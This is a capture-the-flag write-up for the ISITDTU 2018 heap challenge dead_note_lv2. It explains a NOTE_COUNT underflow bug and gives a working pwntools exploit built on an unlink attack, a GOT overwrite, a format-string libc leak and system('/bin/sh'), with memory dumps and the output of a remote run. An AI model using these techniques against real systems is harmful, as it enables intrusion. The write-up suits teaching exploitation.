ISITDTU CTF 2018 Quals - dead_note_lv2

7 Solves

nc 206.189.46.173 50200

Link Binary: https://bit.ly/2K4D3qE

Attachment: dead_note_lv2 libc.so.6 xpl.py

CANARY    : ENABLED
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial
***************************************
*                                     *
* 1 - Add                             *
* 2 - Edit                            *
* 3 - Del                             *
* 4 - Exit                            *
*                                     *
***************************************
Your choice:

Though it’s the second level, the approach now is completely different.

Binary sections aren’t marked rwx anymore, but this time we’re allowed to create and edit bigger chunks. This looks way more like your proper heap challenge.

So, let’s check the differences in the code:

void add_note()
{  
  for ( int i = 0; i <= 10; ++i ) {
    if ( !NOTE_TABLE[i] ) {
      char *chunk = malloc(0x88);

      printf("Content: ");
      read_string(chunk, 0x88);

      NOTE_TABLE[i] = chunk;
      ++NOTE_COUNT;

      puts("Done~");
      return;
    }
  }  
}

Nothing special here, add_note will check, if there’s a free entry in the NOTE_TABLE (max 11 entries), allocate a chunk and put it there, also increasing NOTE_COUNT.

int delete_note()
{  
  printf("Index: ");
  unsigned int idx = read_number();

  if ( idx > 10 )
    return puts("Out of bound~");

  free(NOTE_TABLE[idx]);
  NOTE_TABLE[idx] = 0LL;
  return NOTE_COUNT-- - 1;
}

delete_note will this time do a proper boundary check, but it fails to check, if we specified an existing note. Thus, if we give it an index of an unitialized note, it will call free(0), which will just do nothing, but decreases NOTE_COUNT afterwards, which enables us to decrease NOTE_COUNT by an arbitrary value, by just calling delete_note on a freed note multiple times. Might remember this for later ;)

int edit_note()
{  
  printf("Index: ");
  unsigned int idx = read_number();

  if ( idx > 10 )
    return puts("Out of bound~");

  if ( !NOTE_TABLE[idx] )
    return puts("None NOTE~");

  printf("Content: ");
  return read_string((char *)NOTE_TABLE[idx], 0x88);
}

No real bugs here, edit_note checks the index and also if we specified a note that actually contains content.

So, how to go on with this? Well, for this, we should take a closer look at the memory handling for the NOTE_TABLE and NOTE_COUNT. After adding some notes, it will fill up NOTE_TABLE with the addresses of our note chunks and increase NOTE_COUNT

0x6020e0: 0x0000000000603010  0x00000000006030a0 <= Note 0 / Note 1
0x6020f0: 0x0000000000000000  0x0000000000000000 <= Note 2 / Note 3
0x602100: 0x0000000000000000  0x0000000000000000 <= Note 4 / Note 5
0x602110: 0x0000000000000000  0x0000000000000000 <= Note 6 / Note 7
0x602120: 0x0000000000000000  0x0000000000000000 <= Note 8 / Note 9
0x602130: 0x0000000000000002  0x0000000000000000 <= NOTE_COUNT (Note 10)
0x602140: 0x0000000000000000  0x0000000000000000

Uhm, the binary allows us to allocate and edit 10 notes, but the address for the 10th chunk is also the NOTE_COUNT itself. We should surely be able to do some mischief with that :)

Remember, that we are able to decrease NOTE_COUNT by arbitrary values by freeing an empty chunk, so we can use that to manipulate the address of the 10th chunk.

Let’s set up some chunks to start with:

#!/usr/bin/python
from pwn import *
import sys

LOCAL = True

HOST = "206.189.46.173"
PORT = 50200

def add(content):
  r.sendline("1")
  r.sendafter("Content: ", content)
  r.recvuntil("choice: ")

def edit(idx, content):
  r.sendline("2")
  r.sendlineafter("Index: ", str(idx))
  r.sendlineafter("Content: ", content)
  r.recvuntil("choice: ")

def delete(idx):
  r.sendline("3")
  r.sendlineafter("Index: ", str(idx))
  r.recvuntil("choice: ")

def exploit(r):
  r.recvuntil("choice: ")

  log.info("Create initial notes")

  add("A"*8) # 0
  add("A"*8) # 1
  add("A"*8) # 2
  add("A"*8) # 3
  add("A"*8) # 4
  add("A"*8) # 5
  add("A"*8) # 6
  add("A"*8) # 7
  add("A"*8) # 8
  add("A"*8) # 9

  r.interactive()

  return

if __name__ == "__main__":
  e = ELF("./dead_note_lv2")
  libc = ELF("./libc.so.6")

  if len(sys.argv) > 1:
    LOCAL = False
    r = remote(HOST, PORT)
    exploit(r)
  else:
    LOCAL = True
    r = process("./dead_note_lv2", env={"LD_PRELOAD" : "./libc.so.6"})
    print util.proc.pidof(r)
    pause()
    exploit(r)

The NOTE_TABLE will now look like this

0x6020e0: 0x0000000000603010  0x00000000006030a0 <= Note 0 / 1
0x6020f0: 0x0000000000603130  0x00000000006031c0 <= Note 2 / 3
0x602100: 0x0000000000603250  0x00000000006032e0 <= Note 4 / 5
0x602110: 0x0000000000603370  0x0000000000603400 <= Note 6 / 7
0x602120: 0x0000000000603490  0x0000000000603520 <= Note 8 / 9
0x602130: 0x000000000000000a  0x0000000000000000 <= NOTE_COUNT (Note 10)

Since the address at 0x602130 is != 0x0, add_note won’t allow us to create another note and complains with FULL~~.

Well, we can change this with abusing delete_note

log.info("Call delete to get note counter to -1")

for i in range(11):
  delete(1)

This will decrease NOTE_COUNT until it’s -1. We need to be able to create another chunk, which will be stored in Note 1 before being able to create another chunk in Note 10, which will increase NOTE_COUNT by 1, resulting in a 0x0 in 0x602130.

0x6020e0: 0x0000000000603010  0x0000000000000000
0x6020f0: 0x0000000000603130  0x00000000006031c0
0x602100: 0x0000000000603250  0x00000000006032e0
0x602110: 0x0000000000603370  0x0000000000603400
0x602120: 0x0000000000603490  0x0000000000603520
0x602130: 0x00000000ffffffff  0x0000000000000000

Now we create two new chunks

log.info("Create chunk to fill 1")
add("B"*8)

log.info("Create chunk in NOTE_COUNT")
add("C"*8)
0x6020e0: 0x0000000000603010  0x00000000006030a0
0x6020f0: 0x0000000000603130  0x00000000006031c0
0x602100: 0x0000000000603250  0x00000000006032e0
0x602110: 0x0000000000603370  0x0000000000603400
0x602120: 0x0000000000603490  0x0000000000603520
0x602130: 0x0000000000000000  0x0000000000000000

...

0x6020e0: 0x0000000000603010  0x00000000006030a0
0x6020f0: 0x0000000000603130  0x00000000006031c0
0x602100: 0x0000000000603250  0x00000000006032e0
0x602110: 0x0000000000603370  0x0000000000603400
0x602120: 0x0000000000603490  0x0000000000603520
0x602130: 0x00000000006035b1  0x0000000000000000 <= NOTE_COUNT (Note 10)

We now have a note in the NOTE_COUNT address (see, how the address also got increased by 1 after adding it…).

And like before, we’re able to move the address around in the heap by multiple calls to delete_note and since it’s a valid note, we can use edit_note, giving us an arbitrary write on the heap.

Though, there’s nothing of interest inside the heap, we would like to have a note pointer pointing somewhere useful, like the bss

Since no PIE is enabled, we know the address of NOTETABLE, which conveniently contains pointers to our chunks, so we can do an unlink attack to write the address of NOTETABLE into itself.

Though, some preparations for this needs to be taken.

  • Create a fake chunk on the heap containing FD/BK pointers to NOTETABLE (which needs to point back to our fake chunk to get around the libc checks)
  • Overwrite prev_size and size of a followup chunk, so that upon freeing the followup, free will think the previous chunk is also free
    • prev_size should be forged, so that it points to our fake chunk
  • Free the manipulated chunk, which will then unlink our fake chunk
  • With the overwritten note entry, we can now modify the NOTETABLE itself resulting in an arbitrary write

For this, we’ll change the note initialization a bit

add("A"*8) # 0
add("A"*8) # 1
add("A"*8) # 2
add("A"*8) # 3
add("A"*8) # 4
add("A"*8) # 5
add("A"*8) # 6
add("A"*8) # 7

log.info("Prepare fake chunk for unlink")
payload = p64(0x0) + p64(0x121)
payload += p64(0x602120-0x18) + p64(0x602120-0x10)
payload += "A"*(0x70-len(payload))

add(payload) # 8

add("A"*8) # 9

log.info("Call delete to get note counter to -1")

for i in range(11):
  delete(1)

log.info("Create chunk to fill 1")
add("B"*8) #1

log.info("Create chunk in NOTE_COUNT")
add(p64(0x120)) # 10 (containing prev_size pointing to fake chunk)

We prepare our fake chunk in chunk 8 (size 0x120) with FD/BK pointing to the NOTETABLE entry for chunk 8 (which happens to point to the data portion of note 8, which is our fake chunk).

In our final NOTE_COUNT chunk we store a valid prev_size, which points to the fake chunk, we created in chunk 8.

NOTE_TABLE

0x6020e0: 0x0000000000603010  0x00000000006030a0
0x6020f0: 0x0000000000603130  0x00000000006031c0
0x602100: 0x0000000000603250  0x00000000006032e0
0x602110: 0x0000000000603370  0x0000000000603400
0x602120: 0x0000000000603490  0x0000000000603520 <= Note 8
0x602130: 0x00000000006035b1  0x0000000000000000 <= NOTE_COUNT (Note 10)

HEAP

0x603480: 0x0000000000000000  0x0000000000000091 <= Note 8
0x603490: 0x0000000000000000  0x0000000000000121 <= Fake chunk (size 0x120)
0x6034a0: 0x0000000000602108  0x0000000000602110 <= Fake FD/BK
0x6034b0: 0x4141414141414141  0x4141414141414141
0x6034c0: 0x4141414141414141  0x4141414141414141
0x6034d0: 0x4141414141414141  0x4141414141414141
0x6034e0: 0x4141414141414141  0x4141414141414141
0x6034f0: 0x4141414141414141  0x4141414141414141
0x603500: 0x0000000000000000  0x0000000000000000
0x603510: 0x0000000000000000  0x0000000000000091 <= Note 9
0x603520: 0x4141414141414141  0x0000000000000000
0x603530: 0x0000000000000000  0x0000000000000000
0x603540: 0x0000000000000000  0x0000000000000000
0x603550: 0x0000000000000000  0x0000000000000000
0x603560: 0x0000000000000000  0x0000000000000000
0x603570: 0x0000000000000000  0x0000000000000000
0x603580: 0x0000000000000000  0x0000000000000000
0x603590: 0x0000000000000000  0x0000000000000000
0x6035a0: 0x0000000000000000  0x0000000000000091 <= Note 10
0x6035b0: 0x0000000000000120  0x0000000000000000 <= prev_size for Fake_chunk

We still need to overwrite prev_size for Note 9 and toggle the prev_inuse bit of Note 9, so free will think that the previous chunk is also freed.

Now is the time, for NOTE_COUNT to shine :). We’ll be freeing so many notes, decreasing NOTE_COUNT (and the address of Note 10) until Note 10 points to 0x603510.

log.info("Move NOTE_COUNT to prev_size of chunk 9")
for i in range(0xa1):
  delete(1)
0x6020e0: 0x0000000000603010  0x0000000000000000
0x6020f0: 0x0000000000603130  0x00000000006031c0
0x602100: 0x0000000000603250  0x00000000006032e0
0x602110: 0x0000000000603370  0x0000000000603400
0x602120: 0x0000000000603490  0x0000000000603520
0x602130: 0x0000000000603510  0x0000000000000000 <= Note 10

Now we can overwrite prev_size and size of Note 9 via Note 10 and trigger unlink by deleting Note 9

log.info("Overwrite prev_size and size")
edit(10, p64(0x80) + p64(0x90))

log.info("Trigger unlink by freeing chunk 9 (chunk 8 points to bss now (=>chunk 5))")
delete(9)

After the edit, the heap will look like this

0x603480: 0x0000000000000000  0x0000000000000091 <= Note 8
0x603490: 0x0000000000000000  0x0000000000000121 <= Fake chunk
0x6034a0: 0x0000000000602108  0x0000000000602110 <= Fake FD/BK
0x6034b0: 0x4141414141414141  0x4141414141414141
0x6034c0: 0x4141414141414141  0x4141414141414141
0x6034d0: 0x4141414141414141  0x4141414141414141
0x6034e0: 0x4141414141414141  0x4141414141414141
0x6034f0: 0x4141414141414141  0x4141414141414141
0x603500: 0x0000000000000000  0x0000000000000000
0x603510: 0x0000000000000080  0x0000000000000090 <= Note 8 prev_size / Note 9
0x603520: 0x4141414141414100  0x0000000000000000
0x603530: 0x0000000000000000  0x0000000000000000
0x603540: 0x0000000000000000  0x0000000000000000
0x603550: 0x0000000000000000  0x0000000000000000
0x603560: 0x0000000000000000  0x0000000000000000
0x603570: 0x0000000000000000  0x0000000000000000
0x603580: 0x0000000000000000  0x0000000000000000
0x603590: 0x0000000000000000  0x0000000000000000
0x6035a0: 0x0000000000000000  0x0000000000000091
0x6035b0: 0x0000000000000120  0x0000000000000000 <= Fake chunk prev_size

We now have everything prepared for unlink doing its magic :)

Deleting Note 9 will now letting free think the previous chunk is also free (0x603510 - 0x80 => 0x603490 (Fake chunk)) and unlink it.

0x603480: 0x0000000000000000  0x0000000000000091 <= Note 8
0x603490: 0x0000000000000000  0x0000000000000111 \ Fake chunk
0x6034a0: 0x0000000000603090  0x00007ffff7dd1b78 |
0x6034b0: 0x4141414141414141  0x4141414141414141 |
0x6034c0: 0x4141414141414141  0x4141414141414141 |
0x6034d0: 0x4141414141414141  0x4141414141414141 |
0x6034e0: 0x4141414141414141  0x4141414141414141 |
0x6034f0: 0x4141414141414141  0x4141414141414141 |
0x603500: 0x0000000000000000  0x0000000000000000 |
0x603510: 0x0000000000000080  0x0000000000000090 | Note 9 (freed)
0x603520: 0x4141414141414100  0x0000000000000000 |
0x603530: 0x0000000000000000  0x0000000000000000 |
0x603540: 0x0000000000000000  0x0000000000000000 |
0x603550: 0x0000000000000000  0x0000000000000000 |
0x603560: 0x0000000000000000  0x0000000000000000 |
0x603570: 0x0000000000000000  0x0000000000000000 |
0x603580: 0x0000000000000000  0x0000000000000000 |
0x603590: 0x0000000000000000  0x0000000000000000 |
0x6035a0: 0x0000000000000110  0x0000000000000090 / 
0x6035b0: 0x0000000000000120  0x0000000000000000

NOTE_TABLE

0x6020e0: 0x0000000000603010  0x0000000000000000 <= Note 0 / 1
0x6020f0: 0x0000000000603130  0x00000000006031c0 <= Note 2 / 3
0x602100: 0x0000000000603250  0x00000000006032e0 <= Note 4 / 5
0x602110: 0x0000000000603370  0x0000000000603400 <= Note 6 / 7
0x602120: 0x0000000000602108  0x0000000000000000 <= Note 8 / 9
0x602130: 0x000000000060350f  0x0000000000000000 <= Note 10

EDIT (Adding a little bit more explanation on the unlink portion)

When note 9 gets freed, free will think the previous chunk is also free, since we set the prev_inuse bit to 0x0. So it will try to consolidate backwards and unlink the previous chunk from its binlist. free does this with the unlink macro

FD->bk = BK;
BK->FD = FD;

So, let’s check the state of FD/BK before unlink is triggered:

gdb-peda$ x/30gx 0x603490
0x603490: 0x0000000000000000  0x0000000000000121 <= Note 8
0x6034a0: 0x0000000000602108  0x0000000000602110 <= FD / BK
0x6034b0: 0x4141414141414141  0x4141414141414141

unlink will now execute FD->bk = BK with FD = 0x602108

gdb-peda$ x/10gx 0x602108
0x602108: 0x00000000006032e0  0x0000000000603370
0x602118: 0x0000000000603400  0x0000000000603490 <= FD / BK (Note 8 pointer)

It interprets 0x602108 as a chunk, and thus overwrites its BK (0x602120) with the BK from our fake chunk (0x602110), so it would look like this

gdb-peda$ x/10gx 0x602108
0x602108: 0x00000000006032e0  0x0000000000603370
0x602118: 0x0000000000603400  0x0000000000602110 <= FD / BK (Note 8 pointer)

Now, unlink will execute BK->fd = FD with BK = 0x602110 (from our fake chunk in the heap).

gdb-peda$ x/10gx 0x602110
0x602110: 0x0000000000603370  0x0000000000603400
0x602120: 0x0000000000602110  0x0000000000603520 <= FD (Note 8 pointer) / BK

So, now unlink wants to set the FD value for this chunk, which also happens to be 0x602120, thus overwriting it with the FD value from our fake chunk (0x602108), resulting in

gdb-peda$ x/10gx 0x602110
0x602110: 0x0000000000603370  0x0000000000603400
0x602120: 0x0000000000602108  0x0000000000000000 <= FD (Note 8 pointer) / BK

/EDIT

Note 8 now contains 0x602108 pointing back in our NOTETABLE, so we can now use Note 8 to write arbitrary addresses into the NOTETABLE and then edit those addresses to overwrite arbitrary addresses.

With this, it’s only a matter of overwriting got entries, leaking libc and call system("/bin/sh"), so let’s wrap this up

log.info("Overwrite atoi with printf")

edit(8, p64(e.got["atoi"]))

edit(5, p64(e.plt["printf"]+6))
0x602000: 0x0000000000601e28  0x00007ffff7ffe168
0x602010: 0x00007ffff7dee870  0x00007ffff7a914f0
0x602020: 0x00007ffff7a7c690  0x0000000000400736
0x602030: 0x00007ffff7a836b0  0x00007ffff7a62800
0x602040: 0x00007ffff7ad9200  0x00007ffff7b04250
0x602050: 0x00007ffff7a2d740  0x00007ffff7a423c0
0x602060: 0x00007ffff7a91130  0x0000000000400756 <= . / atoi (now printf plt)
0x602070: 0x0000000000400700  0x0000000000000000
0x602080: 0x0000000000000000  0x0000000000000000
0x602090: 0x0000000000000000  0x0000000000000000
0x6020a0 <stdout>:  0x00007ffff7dd2620  0x0000000000000000
0x6020b0 <stdin>: 0x00007ffff7dd18e0  0x0000000000000000
0x6020c0 <stderr>:  0x00007ffff7dd2540  0x0000000000000000
0x6020d0: 0x0000000000000000  0x0000000000000000
0x6020e0: 0x0000000000603010  0x0000000000000000 <= Note 0 / 1
0x6020f0: 0x0000000000603130  0x00000000006031c0 <= Note 2 / 3
0x602100: 0x0000000000603250  0x0000000000602068 <= Note 4 / 5 (points to atoi got)
0x602110: 0x0000000000603300  0x0000000000603400
0x602120: 0x0000000000602108  0x0000000000000000
0x602130: 0x000000000060350f  0x0000000000000000

atoi is now printf, so any input in the menu will be executed by printf instead, so we can send some format strings as input to leak libc.

log.info("Leak LIBC")

r.sendline("%3$p")

leak = int(r.recv(14), 16)
libc.address = leak - 0xf7260

log.info("LIBC leak        : %s" % hex(leak))
log.info("LIBC             : %s" % hex(libc.address))
r.recvuntil("Your choice: ")

Knowing libc, we can now overwrite atoi again, but this time with system.

We just have to consider that for selecting a menu, atoi is no longer called, but printf (which returns the count of printed characters). So for selecting edit_note we have to send for example .. instead of 2.

log.info("Overwrite atoi with system")

r.sendline("..")        # edit
r.sendlineafter(": ", ".....")  # index 5

r.sendlineafter("Content: ", p64(libc.symbols["system"]))

log.info("Select '/bin/sh' to trigger shell")
r.sendlineafter("Your choice: ", "/bin/sh\x00")

r.interactive()

Same game, having atoi now replaced with system, we just have to send another /bin/sh to trigger system("/bin/sh")

[*] '/vagrant/Challenges/isit/pwn/deadnote2/dead_note_lv2/dead_note_lv2'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] '/vagrant/Challenges/isit/pwn/deadnote2/dead_note_lv2/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Opening connection to 206.189.46.173 on port 50200: Done
[*] Create initial notes
[*] Prepare fake chunk for unlink
[*] Call delete to get note counter to -1
[*] Create chunk to fill 1
[*] Create chunk in NOTE_COUNT
[*] Move NOTE_COUNT to prev_size of chunk 9
[*] Overwrite prev_size and size
[*] Paused (press any to continue)
[*] Trigger unlink by freeing chunk 9 (chunk 8 points to bss now (=>chunk 5))
[*] Overwrite atoi with printf
[*] Leak LIBC
[*] LIBC leak        : 0x7fb6eedae260
[*] LIBC             : 0x7fb6eecb7000
[*] Overwrite atoi with system
[*] Select '/bin/sh' to trigger shell
[*] Switching to interactive mode
$ cd /home/dead_note_lv2
$ cat flag
ISITDTU{838a545cbc2a33bd26f95ed1c708a1ab}